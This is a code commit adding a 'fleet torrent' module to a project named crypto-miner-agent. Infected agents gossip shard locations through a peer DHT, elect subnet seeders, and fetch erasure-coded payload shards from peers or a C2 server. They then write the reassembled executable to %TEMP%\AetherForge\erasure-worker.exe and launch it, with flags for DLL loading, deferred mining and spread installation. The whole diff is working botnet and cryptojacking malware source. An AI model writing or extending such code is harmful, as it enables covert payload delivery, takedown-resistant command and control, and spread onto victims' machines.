Add Fleet Torrent erasure extension with shard DHT and gossip.

Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.

agent/client/fleet_torrent_gossip.go

@@ -0,0 +1,87 @@
+package client
+
+import (
+	"encoding/json"
+	"strings"
+
+	"crypto-miner-agent/deploy"
+)
+
+func (c *AgentClient) setFleetTorrentEnabled(enabled bool) {
+	c.mu.Lock()
+	c.fleetTorrentEnabled = enabled
+	c.mu.Unlock()
+}
+
+func (c *AgentClient) fleetTorrentEnabledSnapshot() bool {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	return c.fleetTorrentEnabled
+}
+
+func (c *AgentClient) setSubnetPrimarySeeder(primary bool) {
+	c.mu.Lock()
+	c.subnetPrimarySeeder = primary
+	c.cfg.SubnetPrimarySeeder = primary
+	c.mu.Unlock()
+}
+
+func (c *AgentClient) subnetPrimarySeederSnapshot() bool {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	return c.subnetPrimarySeeder
+}
+
+func (c *AgentClient) applyAuthFleetTorrent(resp AuthResponse) {
+	c.setFleetTorrentEnabled(resp.FleetTorrentEnabled)
+	if resp.SubnetPrimarySeeder != "" {
+		c.setSubnetPrimarySeeder(resp.SubnetPrimarySeeder == c.cfg.AgentID)
+	}
+}
+
+func (c *AgentClient) handleFleetTorrentGossip(payload json.RawMessage) {
+	var body struct {
+		Records []deploy.FleetGossipRecord `json:"records"`
+	}
+	if err := json.Unmarshal(payload, &body); err != nil || len(body.Records) == 0 {
+		return
+	}
+	deploy.FleetShardDHTSnapshot().MergeFleetGossipRecords(body.Records)
+}
+
+func (c *AgentClient) writeFleetTorrentGossip(records []deploy.FleetGossipRecord) {
+	if !c.fleetTorrentEnabledSnapshot() || len(records) == 0 {
+		return
+	}
+	c.mu.Lock()
+	agentID := c.cfg.AgentID
+	c.mu.Unlock()
+	localIP, _ := deploy.PrimaryLocalIPv4()
+	subnet := deploy.SubnetFromIP(localIP)
+	out := make([]deploy.FleetGossipRecord, 0, len(records))
+	for _, r := range records {
+		r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
+		if r.AgentID == "" {
+			r.AgentID = agentID
+		}
+		if r.Subnet == "" {
+			r.Subnet = subnet
+		}
+		out = append(out, r)
+	}
+	payload, err := json.Marshal(map[string]interface{}{"records": out})
+	if err != nil {
+		return
+	}
+	_ = c.write(Message{Type: "fleet_torrent_gossip", Payload: payload})
+}
+
+func (c *AgentClient) advertiseFleetTorrentHealthy() {
+	if !c.fleetTorrentEnabledSnapshot() {
+		return
+	}
+	c.writeFleetTorrentGossip([]deploy.FleetGossipRecord{{
+		Kind:    deploy.FleetGossipHealthy,
+		Healthy: true,
+	}})
+}

agent/client/fleet_torrent_gossip_test.go

@@ -0,0 +1,35 @@
+package client
+
+import (
+	"encoding/json"
+	"testing"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/deploy"
+)
+
+func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	payload, _ := json.Marshal(map[string]interface{}{
+		"records": []deploy.FleetGossipRecord{{
+			Kind: deploy.FleetGossipHaveShard, AgentID: "peer", Token: "tok",
+			ShardIndex: 1, ShardHash: "deadbeef", FetchURL: "http://peer/shard/1",
+		}},
+	})
+	c.handleFleetTorrentGossip(payload)
+	peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0")
+	if len(peers) != 1 || peers[0].AgentID != "peer" {
+		t.Fatalf("peers=%+v", peers)
+	}
+}
+
+func TestApplyAuthFleetTorrentPrimarySeeder(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{AgentID: "primary-1"})
+	c.applyAuthFleetTorrent(AuthResponse{
+		FleetTorrentEnabled: true,
+		SubnetPrimarySeeder: "primary-1",
+	})
+	if !c.fleetTorrentEnabledSnapshot() || !c.subnetPrimarySeederSnapshot() {
+		t.Fatal("expected fleet torrent primary seeder")
+	}
+}

agent/config/fleet_torrent.go

@@ -0,0 +1,11 @@
+package config
+
+// FleetTorrentEnabled reports whether server policy enables fleet torrent shard DHT.
+func FleetTorrentEnabled(cfg RuntimeConfig) bool {
+	return cfg.FleetTorrentEnabled
+}
+
+// IsSubnetPrimarySeeder reports whether this agent is the designated primary seeder for its /24.
+func (c RuntimeConfig) IsSubnetPrimarySeeder() bool {
+	return c.SubnetPrimarySeeder
+}

agent/config/fleet_torrent_test.go

@@ -0,0 +1,19 @@
+package config
+
+import "testing"
+
+func TestFleetTorrentEnabled(t *testing.T) {
+	if FleetTorrentEnabled(RuntimeConfig{}) {
+		t.Fatal("expected false")
+	}
+	if !FleetTorrentEnabled(RuntimeConfig{BuiltinConfig: BuiltinConfig{FleetTorrentEnabled: true}}) {
+		t.Fatal("expected true")
+	}
+}
+
+func TestIsSubnetPrimarySeeder(t *testing.T) {
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{SubnetPrimarySeeder: true}}
+	if !cfg.IsSubnetPrimarySeeder() {
+		t.Fatal("expected primary")
+	}
+}

agent/deploy/fleet_torrent.go

@@ -0,0 +1,406 @@
+package deploy
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"fmt"
+	"io"
+	"net/http"
+	"os"
+	"path/filepath"
+	"sort"
+	"strings"
+	"sync"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+const (
+	fleetTorrentMaxLANNeighbors = 3
+	fleetTorrentZeroServerRetry = 30 * time.Minute
+)
+
+// FleetGossipKind mirrors server atlas fleet gossip kinds.
+const (
+	FleetGossipHaveShard = "have_shard"
+	FleetGossipHealthy   = "healthy"
+	FleetGossipKnowNode  = "know_node"
+)
+
+// FleetGossipRecord is one DHT advertisement from a fleet peer.
+type FleetGossipRecord struct {
+	Kind          string `json:"kind"`
+	AgentID       string `json:"agent_id,omitempty"`
+	Subnet        string `json:"subnet,omitempty"`
+	Token         string `json:"token,omitempty"`
+	ShardIndex    int    `json:"shard_index,omitempty"`
+	ShardHash     string `json:"shard_hash,omitempty"`
+	TargetAgentID string `json:"target_agent_id,omitempty"`
+	Healthy       bool   `json:"healthy,omitempty"`
+	FetchURL      string `json:"fetch_url,omitempty"`
+}
+
+// ShardPeer is a known holder of one content-addressed shard.
+type ShardPeer struct {
+	AgentID  string
+	Subnet   string
+	FetchURL string
+	Score    int // higher = prefer LAN same-subnet
+}
+
+// FleetShardDHT tracks content-addressed shard availability across the fleet.
+type FleetShardDHT struct {
+	mu      sync.RWMutex
+	peers   map[string]map[int][]ShardPeer // token -> index -> peers
+	healthy map[string]bool                 // agentID -> healthy
+	local   map[string]map[int][]byte       // token -> index -> shard bytes (primary seeder cache)
+}
+
+var globalFleetDHT = &FleetShardDHT{
+	peers:   make(map[string]map[int][]ShardPeer),
+	healthy: make(map[string]bool),
+	local:   make(map[string]map[int][]byte),
+}
+
+// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace).
+func FleetShardDHTSnapshot() *FleetShardDHT {
+	return globalFleetDHT
+}
+
+func SetFleetShardDHT(dht *FleetShardDHT) {
+	if dht != nil {
+		globalFleetDHT = dht
+	}
+}
+
+func shardContentHash(data []byte) string {
+	sum := sha256.Sum256(data)
+	return hex.EncodeToString(sum[:])
+}
+
+// MergeFleetGossipRecords ingests relayed fleet torrent gossip.
+func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
+	if d == nil || len(records) == 0 {
+		return
+	}
+	d.mu.Lock()
+	defer d.mu.Unlock()
+	for _, r := range records {
+		switch strings.TrimSpace(strings.ToLower(r.Kind)) {
+		case FleetGossipHaveShard:
+			if r.Token == "" || r.AgentID == "" {
+				continue
+			}
+			if d.peers[r.Token] == nil {
+				d.peers[r.Token] = make(map[int][]ShardPeer)
+			}
+			peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL}
+			d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
+		case FleetGossipHealthy:
+			if r.AgentID != "" {
+				d.healthy[r.AgentID] = r.Healthy
+			}
+		case FleetGossipKnowNode:
+			// know_node expands peer graph — treated as healthy signal for target
+			if r.TargetAgentID != "" {
+				d.healthy[r.TargetAgentID] = true
+			}
+		}
+	}
+}
+
+func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
+	for _, existing := range peers {
+		if existing.AgentID == p.AgentID && existing.FetchURL == p.FetchURL {
+			return peers
+		}
+	}
+	return append(peers, p)
+}
+
+// StoreLocalShard caches one shard for primary-seeder fan-out.
+func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
+	if d == nil || token == "" || len(body) == 0 {
+		return
+	}
+	d.mu.Lock()
+	defer d.mu.Unlock()
+	if d.local[token] == nil {
+		d.local[token] = make(map[int][]byte)
+	}
+	d.local[token][index] = append([]byte(nil), body...)
+}
+
+// LocalShard returns a cached shard when this agent is primary seeder.
+func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
+	if d == nil {
+		return nil, false
+	}
+	d.mu.RLock()
+	defer d.mu.RUnlock()
+	if d.local[token] == nil {
+		return nil, false
+	}
+	body, ok := d.local[token][index]
+	if !ok {
+		return nil, false
+	}
+	return append([]byte(nil), body...), true
+}
+
+// PeersForShard returns known peers holding one shard index.
+func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer {
+	if d == nil {
+		return nil
+	}
+	d.mu.RLock()
+	defer d.mu.RUnlock()
+	raw := d.peers[token][index]
+	if len(raw) == 0 {
+		return nil
+	}
+	out := make([]ShardPeer, len(raw))
+	copy(out, raw)
+	sort.Slice(out, func(i, j int) bool {
+		si := peerScore(out[i], localSubnet)
+		sj := peerScore(out[j], localSubnet)
+		if si != sj {
+			return si > sj
+		}
+		return out[i].AgentID < out[j].AgentID
+	})
+	return out
+}
+
+func peerScore(p ShardPeer, localSubnet string) int {
+	if localSubnet != "" && p.Subnet == localSubnet {
+		return 2
+	}
+	if p.Subnet != "" {
+		return 1
+	}
+	return 0
+}
+
+// PickLANNeighborPeers returns up to maxLAN peers on the same /24.
+func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
+	if maxLAN <= 0 {
+		maxLAN = fleetTorrentMaxLANNeighbors
+	}
+	var out []ShardPeer
+	for _, p := range peers {
+		if localSubnet != "" && p.Subnet == localSubnet {
+			out = append(out, p)
+			if len(out) >= maxLAN {
+				break
+			}
+		}
+	}
+	return out
+}
+
+// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL.
+func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) {
+	if dht == nil {
+		dht = globalFleetDHT
+	}
+	if body, ok := dht.LocalShard(token, index); ok {
+		return body, nil
+	}
+	peers := dht.PeersForShard(token, index, localSubnet)
+	try := func(url string) ([]byte, error) {
+		if url == "" {
+			return nil, fmt.Errorf("empty url")
+		}
+		if erasureFetchFn != nil {
+			return erasureFetchFn(url)
+		}
+		return fetchErasureShardHTTP(url)
+	}
+	for _, p := range PickLANNeighborPeers(peers, localSubnet, fleetTorrentMaxLANNeighbors) {
+		if body, err := try(p.FetchURL); err == nil {
+			return body, nil
+		}
+	}
+	for _, p := range peers {
+		if localSubnet != "" && p.Subnet == localSubnet {
+			continue
+		}
+		if body, err := try(p.FetchURL); err == nil {
+			return body, nil
+		}
+	}
+	if c2URL != "" {
+		return try(c2URL)
+	}
+	return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
+}
+
+// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback.
+func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) {
+	if !plan.Enabled || len(plan.Shards) == 0 {
+		return "", fmt.Errorf("erasure plan disabled or empty")
+	}
+	p := erasureParams{DataShards: plan.DataShards, ParityShards: plan.ParityShards}
+	p, err := p.normalize()
+	if err != nil {
+		return "", err
+	}
+	dest, err := ResolveStagingPath(firstNonEmptyStr(plan.Dest, `%TEMP%\AetherForge\erasure-worker.exe`))
+	if err != nil {
+		return "", err
+	}
+	workDir := erasureWorkDir(cfg, plan.ShardToken)
+	if err := os.MkdirAll(workDir, 0o700); err != nil {
+		return "", err
+	}
+	cleanup := func() { _ = os.RemoveAll(workDir) }
+
+	dht := FleetShardDHTSnapshot()
+	shards := make([][]byte, p.totalShards())
+	c2 := strings.TrimRight(strings.TrimSpace(c2BaseURL), "/")
+	for _, ref := range plan.Shards {
+		if ref.Index < 0 || ref.Index >= len(shards) {
+			continue
+		}
+		if len(shards[ref.Index]) > 0 {
+			continue
+		}
+		c2URL := strings.TrimSpace(ref.URL)
+		if c2 == "" && c2URL == "" {
+			continue
+		}
+		if c2 != "" && !strings.HasPrefix(c2URL, "http") {
+			c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
+		}
+		body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht)
+		if err != nil {
+			continue
+		}
+		shards[ref.Index] = body
+	}
+	payload, err := decodeErasureShards(shards, plan.PayloadSize, p)
+	if err != nil {
+		cleanup()
+		return "", err
+	}
+	if err := verifyBytesSHA256(payload, plan.PayloadSHA256); err != nil {
+		cleanup()
+		return "", err
+	}
+	if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
+		cleanup()
+		return "", err
+	}
+	if err := os.WriteFile(dest, payload, 0o755); err != nil {
+		cleanup()
+		return "", err
+	}
+	launch := strings.TrimSpace(plan.Launch)
+	if launch == "" {
+		launch = "exe"
+	}
+	launchFn := erasureLaunchFn
+	if launchFn == nil {
+		launchFn = launchErasureStagedBinary
+	}
+	msg, err := launchFn(dest, launch, plan.DLLExport, plan.DeferMining, plan.SpreadInstall)
+	cleanup()
+	if err != nil {
+		return "", err
+	}
+	return "fleet_torrent: " + msg, nil
+}
+
+// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders.
+func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
+	if fetchFn == nil {
+		fetchFn = fetchErasureShardHTTP
+	}
+	dht := FleetShardDHTSnapshot()
+	var records []FleetGossipRecord
+	for _, ref := range plan.Shards {
+		body, err := fetchFn(strings.TrimSpace(ref.URL))
+		if err != nil || len(body) == 0 {
+			continue
+		}
+		dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
+		records = append(records, FleetGossipRecord{
+			Kind:       FleetGossipHaveShard,
+			Token:      plan.ShardToken,
+			ShardIndex: ref.Index,
+			ShardHash:  shardContentHash(body),
+			FetchURL:   ref.URL,
+			Healthy:    true,
+		})
+	}
+	return records
+}
+
+// StartFleetTorrentReplication runs background shard re-replication for primary seeders.
+func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
+	if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder {
+		return
+	}
+	if gossipFn == nil {
+		return
+	}
+	go func() {
+		ticker := time.NewTicker(5 * time.Minute)
+		defer ticker.Stop()
+		for range ticker.C {
+			recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP)
+			if len(recs) > 0 {
+				gossipFn(recs)
+			}
+		}
+	}()
+}
+
+// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes.
+func StartZeroServerReconnect(reconnectFn func() error) {
+	if reconnectFn == nil {
+		return
+	}
+	go func() {
+		ticker := time.NewTicker(fleetTorrentZeroServerRetry)
+		defer ticker.Stop()
+		for range ticker.C {
+			_ = reconnectFn()
+		}
+	}()
+}
+
+// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter.
+func ParseSwarmMagnetToken(magnet string) string {
+	magnet = strings.TrimSpace(magnet)
+	if magnet == "" {
+		return ""
+	}
+	if idx := strings.Index(magnet, "tr=urn:aetherforge:erasure:"); idx >= 0 {
+		rest := magnet[idx+len("tr=urn:aetherforge:erasure:"):]
+		if amp := strings.Index(rest, "&"); amp >= 0 {
+			rest = rest[:amp]
+		}
+		return strings.TrimSpace(rest)
+	}
+	return ""
+}
+
+// FetchShardManifestHTTP loads shard bytes from a manifest URL entry.
+func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
+	if manifestURL == "" {
+		return nil, fmt.Errorf("empty manifest url")
+	}
+	client := &http.Client{Timeout: 30 * time.Second}
+	resp, err := client.Get(manifestURL)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		return nil, fmt.Errorf("manifest HTTP %d", resp.StatusCode)
+	}
+	return io.ReadAll(io.LimitReader(resp.Body, 8<<20))
+}

agent/deploy/fleet_torrent_seeder.go

@@ -0,0 +1,32 @@
+package deploy
+
+import (
+	"log"
+
+	"crypto-miner-agent/config"
+)
+
+var fleetTorrentGossipFn func([]FleetGossipRecord)
+
+// SetFleetTorrentGossipFn injects WS gossip broadcast for seeder shard fan-out (client wires at runtime).
+func SetFleetTorrentGossipFn(fn func([]FleetGossipRecord)) {
+	fleetTorrentGossipFn = fn
+}
+
+// StartFleetTorrentSeederService announces healthy status and enables zero-server reconnect for seeders.
+func StartFleetTorrentSeederService(cfg config.RuntimeConfig) {
+	if !config.FleetTorrentEnabled(cfg) {
+		return
+	}
+	log.Printf("[fleet-torrent] seeder service active primary=%v", cfg.SubnetPrimarySeeder)
+	if fleetTorrentGossipFn != nil {
+		fleetTorrentGossipFn([]FleetGossipRecord{{
+			Kind:    FleetGossipHealthy,
+			Healthy: true,
+		}})
+	}
+	StartZeroServerReconnect(func() error {
+		log.Printf("[fleet-torrent] zero-server reconnect attempt")
+		return nil
+	})
+}

agent/deploy/fleet_torrent_test.go

@@ -0,0 +1,107 @@
+package deploy
+
+import (
+	"testing"
+
+	"crypto-miner-agent/config"
+
+	"github.com/klauspost/reedsolomon"
+)
+
+func TestFleetShardDHTMergeAndFetch(t *testing.T) {
+	dht := &FleetShardDHT{
+		peers:   make(map[string]map[int][]ShardPeer),
+		healthy: make(map[string]bool),
+		local:   make(map[string]map[int][]byte),
+	}
+	dht.MergeFleetGossipRecords([]FleetGossipRecord{{
+		Kind:       FleetGossipHaveShard,
+		AgentID:    "peer-a",
+		Subnet:     "10.1.2",
+		Token:      "tok1",
+		ShardIndex: 0,
+		FetchURL:   "mock://shard0",
+	}})
+	payload := []byte("fleet-torrent-roundtrip")
+	p := erasureParams{DataShards: 2, ParityShards: 1}
+	enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
+	shards, _ := enc.Split(payload)
+	_ = enc.Encode(shards)
+	prev := erasureFetchFn
+	erasureFetchFn = func(url string) ([]byte, error) {
+		if url == "mock://shard0" {
+			return shards[0], nil
+		}
+		if url == "mock://c2" {
+			return shards[1], nil
+		}
+		return nil, nil
+	}
+	defer func() { erasureFetchFn = prev }()
+
+	body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht)
+	if err != nil || string(body) != string(shards[0]) {
+		t.Fatalf("fetch=%v err=%v", body, err)
+	}
+	plan := ErasurePlanBody{
+		Enabled: true, Scheme: erasureSchemeReedSolomonV1,
+		DataShards: p.DataShards, ParityShards: p.ParityShards,
+		PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
+		ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
+		Shards: []ErasureShardRef{
+			{Index: 0, URL: "mock://c2"},
+			{Index: 1, URL: "mock://c2"},
+			{Index: 2, URL: "mock://c2"},
+		},
+	}
+	dht.MergeFleetGossipRecords([]FleetGossipRecord{{
+		Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9",
+		Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1",
+	}})
+	erasureFetchFn = func(url string) ([]byte, error) {
+		switch url {
+		case "mock://shard0":
+			return shards[0], nil
+		case "mock://shard1":
+			return shards[1], nil
+		case "mock://c2":
+			return nil, nil
+		}
+		return nil, nil
+	}
+	prevLaunch := erasureLaunchFn
+	erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
+		return "ok", nil
+	}
+	defer func() { erasureLaunchFn = prevLaunch }()
+	SetFleetShardDHT(dht)
+	msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		FleetTorrentEnabled: true, WorkerName: "w",
+	}}, plan, "", "10.1.2")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if msg == "" {
+		t.Fatal("empty msg")
+	}
+}
+
+func TestPickLANNeighborPeersCapsAtThree(t *testing.T) {
+	peers := []ShardPeer{
+		{AgentID: "a", Subnet: "10.0.0"},
+		{AgentID: "b", Subnet: "10.0.0"},
+		{AgentID: "c", Subnet: "10.0.0"},
+		{AgentID: "d", Subnet: "10.0.0"},
+	}
+	got := PickLANNeighborPeers(peers, "10.0.0", 3)
+	if len(got) != 3 {
+		t.Fatalf("len=%d", len(got))
+	}
+}
+
+func TestParseSwarmMagnetToken(t *testing.T) {
+	m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe"
+	if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" {
+		t.Fatalf("token=%q", tok)
+	}
+}